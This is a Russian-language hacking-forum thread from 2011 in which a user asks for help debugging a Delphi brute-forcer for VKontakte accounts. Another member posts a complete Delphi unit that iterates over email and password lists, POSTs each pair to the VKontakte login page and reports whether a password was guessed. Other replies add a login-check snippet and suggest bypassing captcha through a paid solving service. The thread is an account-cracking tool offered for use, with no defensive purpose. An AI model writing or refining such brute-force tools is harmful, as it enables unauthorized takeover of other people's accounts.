Брут для Вконтакте в делфи. Не могу разобратся где ошибка, помогите, очень нужно

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Vasa211, 17 Aug 2011.

  1. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Пожалуйста, помогите с кодом, не могу разобратся
     
  2. Jingo Bo

    Jingo Bo Member

    Joined:
    25 Oct 2009
    Messages:
    368
    Likes Received:
    51
    Reputations:
    7
    Они тебе не нужны, поверь мне) Да и раз учишься - то начинать не с авторизаций, т.к. здесь хотя бы нужно
    1. Знание HTTP протокола
    2. Знание Cookies
    3. Уметь работать со строками
    4. Уметь работать со снифером

    Не надо кляньчить, надо читать и разбираться самому.
     
  3. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Автор, а что брут будет делать, когда ВК капчу выдаст? Дальше брутить будет?
     
  4. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Капчу нужно бутет ввести, или можно воспользоватся сервисом antigate.
    Посмотрите пожалуйста код. Уже почти все сделал но этод кусок кода не работает, чтото с циклом
     
  5. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    PHP:
     unit Unit1;

    interface 

    uses 
      Windows
    MessagesSysUtilsVariantsClassesGraphicsControlsForms
      
    DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection
      
    IdTCPClientIdHTTP

    type 
      TForm1 
    = class(TForm
        
    Button1TButton
        
    Label1TLabel
        
    Edit1TEdit
        
    OpenDialog1TOpenDialog
        
    OpenDialog2TOpenDialog
        
    Edit2TEdit
        
    Label2TLabel
        
    Button2TButton
        
    Label3TLabel
        
    Label4TLabel
        
    Button3TButton
        
    Edit3TEdit
        
    Edit4TEdit
        
    Label5TLabel
        
    Label6TLabel
        
    IdHTTP1TIdHTTP
        
    procedure Button1Click(SenderTObject); 
        
    procedure Button2Click(SenderTObject); 
        
    procedure Button3Click(SenderTObject); 
      private 
        { Private 
    declarations 
      public 
        { Public 
    declarations 
      
    end

    var 
      
    emails:TStringList;  // список мыл 
      
    pass:TStringList;    // список паролей 
      
    post:TStringList;    // список полей пост запроса 
      
    i,j:integer;          // счетчики циклов 
      
    httpTidHTTP 
      
    result:String
      
    Form1TForm1

    implementation 

    {$R *.dfm

    procedure TForm1.Button1Click(SenderTObject); 
    begin 
    if opendialog1.Execute then 
    edit1
    .Visible:=true
    Edit1.text:=( opendialog1.FileName); 

    Button1.Enabled:=false
    Button2.Enabled:=true
    end

    procedure TForm1.Button2Click(SenderTObject); 
    begin 
    if opendialog2.Execute then 
    edit2
    .Visible:=true
    Edit2.text:=( opendialog2.FileName); 
    Button3.Enabled:=true
    Button2.Enabled:=false
    end

    procedure TForm1.Button3Click(SenderTObject);

    begin 
      emails
    :=TStringList.Create;
      
    pass:=TStringList.Create;
      
    emails.Add('логин');
      
    pass.Add('пароль');
      
    http:=TidHTTP.Create(nil);
      
    http.HandleRedirects:=true;
      
    post:=tstringlist.Create;
      for 
    i:=0 to emails.Count-do
       
    begin
        
    for j:=0 to pass.Count-do
         
    begin
          post
    .Clear;
          
    post.Add('email='+emails[i]);
          
    post.Add('pass='+pass[j]);
          
    result:=http.Post('http://vkontakte.ru/login.php',post);
          if 
    pos('logout',result)>0 then
           showmessage 
    ('Пароль подобрали')
          else
           
    showmessage ('Пароль не подобрали');
        
    end;
      
    end
      
      
    // освободим переменные 
      
    emails.Free
      
    pass.Free
      
    http.Free
      
    post.Free
    end

    end.
    держи свой код. успехов в программировании.
     
  6. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    1n0y,всеравно показывает что пароль не правильный
     
  7. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Кто нибудь может помочь с кодом. Не могу найти ошибку
     
  8. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Можно попробовать быдлокод, если не комплексуешь:
    Code:
    var
    check: string;
    check:=idhttp1.Get('http://vkontakte.ru/durov');
    if pos('Моя страница',check)>0 then begin
    ShowMessage('Все ок!');
    end;
    If pos('Моя страница',check)=0 then begin
    ShowMessage('Неправильно');
    end;
    
    Будут, конечно, затраты трафика и времени.
     
  9. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    dtsey, не могу понять, зачем этот "быдлокод"?
     
  10. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Проверка авторизации. Только тебе это врядле поможет.
     
  11. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Vasa211, Ты же хотел это исправить.
     
  12. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    так куда вставить в свой код, твой ?
     
  13. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    дак вставь правильный пароль :)
    код рабочий, лично проверял.
     
  14. tght

    tght Member

    Joined:
    24 Jun 2010
    Messages:
    134
    Likes Received:
    10
    Reputations:
    0
    Код смешен)
     
  15. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    1n0y, почемуто твой код у меня не работает, если не сложно, можешь скинуть исходник своей программы (project, unit, и т.д.)

    tght, если для тебя этод код смешон, может ты скинешь мне код который ты напишешь.
     
  16. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    я его не сохранял, увы. а заново кидать эти все эдиты и лэйблы на форму мне уже влом..
     
  17. ImLucky

    ImLucky New Member

    Joined:
    26 Sep 2010
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    Код всё равно не твой, ты со всего форума по кусочкам исходники собираешь. Это не конструктор. Так что че ты агришься на него, мне не понятно.
     
  18. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    1n0y, а какая у тебя версия Indy, может в ней дело?